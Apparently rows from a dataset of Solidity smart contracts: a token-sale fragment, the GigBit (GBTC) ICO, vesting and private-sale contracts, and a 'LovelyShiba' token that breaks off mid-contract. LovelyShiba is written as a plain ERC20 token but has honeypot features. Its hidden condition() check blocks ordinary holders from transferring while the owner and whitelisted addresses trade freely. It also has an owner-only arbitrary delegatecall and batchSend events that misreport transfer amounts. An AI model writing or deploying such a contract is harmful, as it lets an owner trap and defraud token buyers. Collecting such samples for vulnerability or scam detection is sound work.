Migrate(msg.sender, tokens);
}
function transferETH() isOwner external {
if (this.balance == 0) throw;
if (!ethFundDeposit.send(this.balance)) throw;
}
function allocateToken (address _addr, uint256 _eth) isOwner external {
if (_eth == 0) throw;
if (_addr == address(0x0)) throw;
uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate);
if (tokens + tokenRaised > currentSupply) throw;
tokenRaised = safeAdd(tokenRaised, tokens);
balances[_addr] += tokens;
AllocateToken(_addr, tokens);
}
function () payable {
if (!isFunding) throw;
if (msg.value == 0) throw;
if (block.number < fundingStartBlock) throw;
if (block.number > fundingStopBlock) throw;
uint256 tokens = safeMult(msg.value, tokenExchangeRate);
if (tokens + tokenRaised > currentSupply) throw;
tokenRaised = safeAdd(tokenRaised, tokens);
balances[msg.sender] += tokens;
IssueToken(msg.sender, tokens);
}
} | 1 | 4,485 |
pragma solidity 0.4.19;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Multivest is Ownable {
using SafeMath for uint256;
mapping (address => bool) public allowedMultivests;
event MultivestSet(address multivest);
event MultivestUnset(address multivest);
event Contribution(address holder, uint256 value, uint256 tokens);
modifier onlyAllowedMultivests(address _addresss) {
require(allowedMultivests[_addresss] == true);
_;
}
function Multivest() public {}
function setAllowedMultivest(address _address) public onlyOwner {
allowedMultivests[_address] = true;
MultivestSet(_address);
}
function unsetAllowedMultivest(address _address) public onlyOwner {
allowedMultivests[_address] = false;
MultivestUnset(_address);
}
function multivestBuy(address _address, uint256 _value) public onlyAllowedMultivests(msg.sender) {
require(buy(_address, _value) == true);
}
function multivestBuy(
address _address,
uint8 _v,
bytes32 _r,
bytes32 _s
) public payable onlyAllowedMultivests(verify(keccak256(msg.sender), _v, _r, _s)) {
require(_address == msg.sender && buy(msg.sender, msg.value) == true);
}
function verify(bytes32 _hash, uint8 _v, bytes32 _r, bytes32 _s) internal pure returns (address) {
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
return ecrecover(keccak256(prefix, _hash), _v, _r, _s);
}
function buy(address _address, uint256 _value) internal returns (bool);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract GigERC20 is StandardToken, Ownable {
uint256 public creationBlock;
uint8 public decimals;
string public name;
string public symbol;
string public standard;
bool public locked;
function GigERC20(
uint256 _totalSupply,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transferAllSupplyToOwner,
bool _locked
) public {
standard = "ERC20 0.1";
locked = _locked;
totalSupply_ = _totalSupply;
if (_transferAllSupplyToOwner) {
balances[msg.sender] = totalSupply_;
} else {
balances[this] = totalSupply_;
}
name = _tokenName;
symbol = _tokenSymbol;
decimals = _decimalUnits;
creationBlock = block.number;
}
function setLocked(bool _locked) public onlyOwner {
locked = _locked;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(locked == false);
return super.transfer(_to, _value);
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (locked) {
return false;
}
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
if (locked) {
return false;
}
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) {
if (locked) {
return false;
}
return super.decreaseApproval(_spender, _subtractedValue);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
if (locked) {
return false;
}
return super.transferFrom(_from, _to, _value);
}
}
contract MintingERC20 is GigERC20 {
using SafeMath for uint256;
mapping (address => bool) public minters;
uint256 public maxSupply;
modifier onlyMinters () {
require(true == minters[msg.sender]);
_;
}
function MintingERC20(
uint256 _initialSupply,
uint256 _maxSupply,
string _tokenName,
uint8 _decimals,
string _symbol,
bool _transferAllSupplyToOwner,
bool _locked
)
public GigERC20(_initialSupply, _tokenName, _decimals, _symbol, _transferAllSupplyToOwner, _locked)
{
standard = "MintingERC20 0.1";
minters[msg.sender] = true;
maxSupply = _maxSupply;
}
function addMinter(address _newMinter) public onlyOwner {
minters[_newMinter] = true;
}
function removeMinter(address _minter) public onlyOwner {
minters[_minter] = false;
}
function mint(address _addr, uint256 _amount) public onlyMinters returns (uint256) {
if (true == locked) {
return uint256(0);
}
if (_amount == uint256(0)) {
return uint256(0);
}
if (totalSupply_.add(_amount) > maxSupply) {
return uint256(0);
}
totalSupply_ = totalSupply_.add(_amount);
balances[_addr] = balances[_addr].add(_amount);
Transfer(address(0), _addr, _amount);
return _amount;
}
}
contract GigToken is MintingERC20 {
SellableToken public crowdSale;
SellableToken public privateSale;
bool public transferFrozen = false;
uint256 public crowdSaleEndTime;
mapping(address => uint256) public lockedBalancesReleasedAfterOneYear;
modifier onlyCrowdSale() {
require(crowdSale != address(0) && msg.sender == address(crowdSale));
_;
}
modifier onlySales() {
require((privateSale != address(0) && msg.sender == address(privateSale)) ||
(crowdSale != address(0) && msg.sender == address(crowdSale)));
_;
}
event MaxSupplyBurned(uint256 burnedTokens);
function GigToken(bool _locked) public
MintingERC20(0, maxSupply, "GigBit", 18, "GBTC", false, _locked)
{
standard = "GBTC 0.1";
maxSupply = uint256(1000000000).mul(uint256(10) ** decimals);
}
function setCrowdSale(address _crowdSale) public onlyOwner {
require(_crowdSale != address(0));
crowdSale = SellableToken(_crowdSale);
crowdSaleEndTime = crowdSale.endTime();
}
function setPrivateSale(address _privateSale) public onlyOwner {
require(_privateSale != address(0));
privateSale = SellableToken(_privateSale);
}
function freezing(bool _transferFrozen) public onlyOwner {
transferFrozen = _transferFrozen;
}
function isTransferAllowed(address _from, uint256 _value) public view returns (bool status) {
uint256 senderBalance = balanceOf(_from);
if (transferFrozen == true || senderBalance < _value) {
return false;
}
uint256 lockedBalance = lockedBalancesReleasedAfterOneYear[_from];
if (lockedBalance > 0 && senderBalance.sub(_value) < lockedBalance) {
uint256 unlockTime = crowdSaleEndTime + 1 years;
if (crowdSaleEndTime == 0 || block.timestamp < unlockTime) {
return false;
}
uint256 secsFromUnlock = block.timestamp.sub(unlockTime);
uint256 months = secsFromUnlock / 30 days;
if (months > 12) {
months = 12;
}
uint256 tokensPerMonth = lockedBalance / 12;
uint256 unlockedBalance = tokensPerMonth.mul(months);
uint256 actualLockedBalance = lockedBalance.sub(unlockedBalance);
if (senderBalance.sub(_value) < actualLockedBalance) {
return false;
}
}
if (block.timestamp < crowdSaleEndTime &&
crowdSale != address(0) &&
crowdSale.isTransferAllowed(_from, _value) == false
) {
return false;
}
return true;
}
function transfer(address _to, uint _value) public returns (bool) {
require(isTransferAllowed(msg.sender, _value));
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) public returns (bool success) {
require((crowdSaleEndTime <= block.timestamp) && isTransferAllowed(_from, _value));
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require(crowdSaleEndTime <= block.timestamp);
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
require(crowdSaleEndTime <= block.timestamp);
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) {
require(crowdSaleEndTime <= block.timestamp);
return super.decreaseApproval(_spender, _subtractedValue);
}
function increaseLockedBalance(address _address, uint256 _tokens) public onlySales {
lockedBalancesReleasedAfterOneYear[_address] =
lockedBalancesReleasedAfterOneYear[_address].add(_tokens);
}
function burnInvestorTokens(
address _address,
uint256 _amount
) public onlyCrowdSale returns (uint256) {
require(block.timestamp > crowdSaleEndTime);
require(_amount <= balances[_address]);
balances[_address] = balances[_address].sub(_amount);
totalSupply_ = totalSupply_.sub(_amount);
Transfer(_address, address(0), _amount);
return _amount;
}
function burnUnsoldTokens(uint256 _amount) public onlyCrowdSale {
require(block.timestamp > crowdSaleEndTime);
maxSupply = maxSupply.sub(_amount);
MaxSupplyBurned(_amount);
}
}
contract SellableToken is Multivest {
uint256 public constant MONTH_IN_SEC = 2629743;
GigToken public token;
uint256 public minPurchase = 100 * 10 ** 5;
uint256 public maxPurchase;
uint256 public softCap;
uint256 public hardCap;
uint256 public startTime;
uint256 public endTime;
uint256 public maxTokenSupply;
uint256 public soldTokens;
uint256 public collectedEthers;
address public etherHolder;
uint256 public collectedUSD;
uint256 public etherPriceInUSD;
uint256 public priceUpdateAt;
mapping(address => uint256) public etherBalances;
Tier[] public tiers;
struct Tier {
uint256 discount;
uint256 startTime;
uint256 endTime;
}
event Refund(address _holder, uint256 _ethers, uint256 _tokens);
event NewPriceTicker(string _price);
function SellableToken(
address _token,
address _etherHolder,
uint256 _startTime,
uint256 _endTime,
uint256 _maxTokenSupply,
uint256 _etherPriceInUSD
)
public Multivest()
{
require(_token != address(0) && _etherHolder != address(0));
token = GigToken(_token);
require(_startTime < _endTime);
etherHolder = _etherHolder;
require((_maxTokenSupply == uint256(0)) || (_maxTokenSupply <= token.maxSupply()));
startTime = _startTime;
endTime = _endTime;
maxTokenSupply = _maxTokenSupply;
etherPriceInUSD = _etherPriceInUSD;
priceUpdateAt = block.timestamp;
}
function setTokenContract(address _token) public onlyOwner {
require(_token != address(0));
token = GigToken(_token);
}
function setEtherHolder(address _etherHolder) public onlyOwner {
if (_etherHolder != address(0)) {
etherHolder = _etherHolder;
}
}
function setPurchaseLimits(uint256 _min, uint256 _max) public onlyOwner {
if (_min < _max) {
minPurchase = _min;
maxPurchase = _max;
}
}
function mint(address _address, uint256 _tokenAmount) public onlyOwner returns (uint256) {
return mintInternal(_address, _tokenAmount);
}
function isActive() public view returns (bool);
function isTransferAllowed(address _from, uint256 _value) public view returns (bool);
function withinPeriod() public view returns (bool);
function getMinEthersInvestment() public view returns (uint256) {
return uint256(1 ether).mul(minPurchase).div(etherPriceInUSD);
}
function calculateTokensAmount(uint256 _value) public view returns (uint256 tokenAmount, uint256 usdAmount);
function calculateEthersAmount(uint256 _tokens) public view returns (uint256 ethers, uint256 bonus);
function updatePreICOMaxTokenSupply(uint256 _amount) public;
function setEtherInUSD(string _price) public onlyAllowedMultivests(msg.sender) {
bytes memory bytePrice = bytes(_price);
uint256 dot = bytePrice.length.sub(uint256(6));
require(0x2e == uint(bytePrice[dot]));
uint256 newPrice = uint256(10 ** 23).div(parseInt(_price, 5));
require(newPrice > 0);
etherPriceInUSD = parseInt(_price, 5);
priceUpdateAt = block.timestamp;
NewPriceTicker(_price);
}
function mintInternal(address _address, uint256 _tokenAmount) internal returns (uint256) {
uint256 mintedAmount = token.mint(_address, _tokenAmount);
require(mintedAmount == _tokenAmount);
soldTokens = soldTokens.add(_tokenAmount);
if (maxTokenSupply > 0) {
require(maxTokenSupply >= soldTokens);
}
return _tokenAmount;
}
function transferEthers() internal;
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint res = 0;
bool decimals = false;
for (uint i = 0; i < bresult.length; i++) {
if ((bresult[i] >= 48) && (bresult[i] <= 57)) {
if (decimals) {
if (_b == 0) break;
else _b--;
}
res *= 10;
res += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) res *= 10 ** _b;
return res;
}
}
contract TokenAllocation is Ownable {
using SafeERC20 for ERC20Basic;
using SafeMath for uint256;
address public ecosystemIncentive = 0xd339D9aeDFFa244E09874D65290c09d64b2356E0;
address public marketingAndBounty = 0x26d6EF95A51BF0A2048Def4Fb7c548c3BDE37410;
address public liquidityFund = 0x3D458b6f9024CDD9A2a7528c2E6451DD3b29e4cc;
address public treasure = 0x00dEaFC5959Dd0E164bB00D06B08d972A276bf8E;
address public amirShaikh = 0x31b17e7a2F86d878429C03f3916d17555C0d4884;
address public sadiqHameed = 0x27B5cb71ff083Bd6a34764fBf82700b3669137f3;
address public omairLatif = 0x92Db818bF10Bf3BfB73942bbB1f184274aA63833;
uint256 public icoEndTime;
address public vestingApplicature;
address public vestingSimonCocking;
address public vestingNathanChristian;
address public vestingEdwinVanBerg;
mapping(address => bool) public tokenInited;
address[] public vestings;
event VestingCreated(
address _vesting,
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
uint256 _periods,
bool _revocable
);
event VestingRevoked(address _vesting);
function setICOEndTime(uint256 _icoEndTime) public onlyOwner {
icoEndTime = _icoEndTime;
}
function initVesting() public onlyOwner() {
require(vestingApplicature == address(0) &&
vestingSimonCocking == address(0) &&
vestingNathanChristian == address(0) &&
vestingEdwinVanBerg == address(0) &&
icoEndTime != 0
);
uint256 oneYearAfterIcoEnd = icoEndTime.add(1 years);
vestingApplicature = createVesting(
0x760864dcdC58FDA80dB6883ce442B6ce44921Cf9, oneYearAfterIcoEnd, 0, 1 years, 2, false
);
vestingSimonCocking = createVesting(
0x7f438d78a51886B24752941ba98Cc00aBA217495, oneYearAfterIcoEnd, 0, 1 years, 2, true
);
vestingNathanChristian = createVesting(
0xfD86B8B016de558Fe39B1697cBf525592A233B2c, oneYearAfterIcoEnd, 0, 1 years, 2, true
);
vestingEdwinVanBerg = createVesting(
0x2451A73F35874028217bC833462CCd90c72dbE6D, oneYearAfterIcoEnd, 0, 1 years, 2, true
);
}
function allocate(MintingERC20 token) public onlyOwner() {
require(tokenInited[token] == false);
tokenInited[token] = true;
require(vestingApplicature != address(0));
require(vestingSimonCocking != address(0));
require(vestingNathanChristian != address(0));
require(vestingEdwinVanBerg != address(0));
uint256 tokenPrecision = uint256(10) ** uint256(token.decimals());
token.mint(ecosystemIncentive, 200000000 * tokenPrecision);
token.mint(marketingAndBounty, 50000000 * tokenPrecision);
token.mint(liquidityFund, 50000000 * tokenPrecision);
token.mint(treasure, 200000000 * tokenPrecision);
token.mint(amirShaikh, 73350000 * tokenPrecision);
token.mint(sadiqHameed, 36675000 * tokenPrecision);
token.mint(omairLatif, 36675000 * tokenPrecision);
token.mint(vestingApplicature, 1500000 * tokenPrecision);
token.mint(vestingSimonCocking, 750000 * tokenPrecision);
token.mint(vestingNathanChristian, 750000 * tokenPrecision);
token.mint(vestingEdwinVanBerg, 300000 * tokenPrecision);
}
function createVesting(
address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, uint256 _periods, bool _revocable
) public onlyOwner() returns (PeriodicTokenVesting) {
PeriodicTokenVesting vesting = new PeriodicTokenVesting(
_beneficiary, _start, _cliff, _duration, _periods, _revocable
);
vestings.push(vesting);
VestingCreated(vesting, _beneficiary, _start, _cliff, _duration, _periods, _revocable);
return vesting;
}
function revokeVesting(PeriodicTokenVesting _vesting, MintingERC20 token) public onlyOwner() {
_vesting.revoke(token);
VestingRevoked(_vesting);
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
function TokenVesting(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable) public {
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
Released(unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
Revoked();
}
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (now < cliff) {
return 0;
} else if (now >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(now.sub(start)).div(duration);
}
}
}
contract PeriodicTokenVesting is TokenVesting {
uint256 public periods;
function PeriodicTokenVesting(
address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, uint256 _periods, bool _revocable
)
public TokenVesting(_beneficiary, _start, _cliff, _duration, _revocable)
{
periods = _periods;
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (now < cliff) {
return 0;
} else if (now >= start.add(duration * periods) || revoked[token]) {
return totalBalance;
} else {
uint256 periodTokens = totalBalance.div(periods);
uint256 periodsOver = now.sub(start).div(duration) + 1;
if (periodsOver >= periods) {
return totalBalance;
}
return periodTokens.mul(periodsOver);
}
}
}
contract PrivateSale is SellableToken {
uint256 public price;
uint256 public discount;
SellableToken public crowdSale;
function PrivateSale(
address _token,
address _etherHolder,
uint256 _startTime,
uint256 _endTime,
uint256 _maxTokenSupply,
uint256 _etherPriceInUSD
) public SellableToken(
_token,
_etherHolder,
_startTime,
_endTime,
_maxTokenSupply,
_etherPriceInUSD
) {
price = 24800;
discount = 75;
}
function changeSalePeriod(uint256 _start, uint256 _end) public onlyOwner {
if (_start != 0 && _start < _end) {
startTime = _start;
endTime = _end;
}
}
function isActive() public view returns (bool) {
if (soldTokens == maxTokenSupply) {
return false;
}
return withinPeriod();
}
function withinPeriod() public view returns (bool) {
return block.timestamp >= startTime && block.timestamp <= endTime;
}
function calculateTokensAmount(uint256 _value) public view returns (uint256 tokenAmount, uint256 usdAmount) {
if (_value == 0) {
return (0, 0);
}
usdAmount = _value.mul(etherPriceInUSD);
tokenAmount = usdAmount.div(price * (100 - discount) / 100);
usdAmount = usdAmount.div(uint256(10) ** 18);
if (usdAmount < minPurchase) {
return (0, 0);
}
}
function calculateEthersAmount(uint256 _tokens) public view returns (uint256 ethers, uint256 usdAmount) {
if (_tokens == 0) {
return (0, 0);
}
usdAmount = _tokens.mul((price * (100 - discount) / 100));
ethers = usdAmount.div(etherPriceInUSD);
if (ethers < getMinEthersInvestment()) {
return (0, 0);
}
usdAmount = usdAmount.div(uint256(10) ** 18);
}
function getStats(uint256 _ethPerBtc) public view returns (
uint256 start,
uint256 end,
uint256 sold,
uint256 maxSupply,
uint256 min,
uint256 tokensPerEth,
uint256 tokensPerBtc
) {
start = startTime;
end = endTime;
sold = soldTokens;
maxSupply = maxTokenSupply;
min = minPurchase;
uint256 usd;
(tokensPerEth, usd) = calculateTokensAmount(1 ether);
(tokensPerBtc, usd) = calculateTokensAmount(_ethPerBtc);
}
function setCrowdSale(address _crowdSale) public onlyOwner {
require(_crowdSale != address(0));
crowdSale = SellableToken(_crowdSale);
}
function moveUnsoldTokens() public onlyOwner {
require(address(crowdSale) != address(0) && now >= endTime && !isActive() && maxTokenSupply > soldTokens);
crowdSale.updatePreICOMaxTokenSupply(maxTokenSupply.sub(soldTokens));
maxTokenSupply = soldTokens;
}
function updatePreICOMaxTokenSupply(uint256) public {
require(false);
}
function isTransferAllowed(address, uint256) public view returns (bool) {
return false;
}
function buy(address _address, uint256 _value) internal returns (bool) {
if (_value == 0 || _address == address(0)) {
return false;
}
uint256 tokenAmount;
uint256 usdAmount;
(tokenAmount, usdAmount) = calculateTokensAmount(_value);
uint256 mintedAmount = mintInternal(_address, tokenAmount);
collectedUSD = collectedUSD.add(usdAmount);
require(usdAmount > 0 && mintedAmount > 0);
collectedEthers = collectedEthers.add(_value);
etherBalances[_address] = etherBalances[_address].add(_value);
token.increaseLockedBalance(_address, mintedAmount);
transferEthers();
Contribution(_address, _value, tokenAmount);
return true;
}
function transferEthers() internal {
etherHolder.transfer(this.balance);
}
} | 1 | 5,212 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract LovelyShiba{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
